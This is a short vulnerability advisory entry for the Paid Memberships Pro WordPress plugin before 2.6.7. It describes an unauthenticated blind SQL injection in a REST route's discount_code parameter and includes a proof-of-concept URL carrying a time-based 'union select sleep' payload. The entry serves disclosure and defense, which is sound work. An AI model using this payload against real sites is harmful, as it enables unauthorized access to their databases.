Lucene search

K
wpexploitKrzysztof ZającWPEX-ID:6C25A5F0-A137-4EA5-9422-8AE393D7B76B
HistoryJan 07, 2022 - 12:00 a.m.

Paid Memberships Pro < 2.6.7 - Unauthenticated Blind SQL Injection

2022-01-0700:00:00
Krzysztof Zając
310
paid memberships pro
unauthenticated
blind sql injection
security exploit
version 2.6.7
example.com

EPSS

0.035

Percentile

91.7%

The plugin does not escape the discount_code in one of its REST route (available to unauthenticated users) before using it in a SQL statement, leading to a SQL injection

https://example.com/?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(1)%20--%20g

EPSS

0.035

Percentile

91.7%

Related for WPEX-ID:6C25A5F0-A137-4EA5-9422-8AE393D7B76B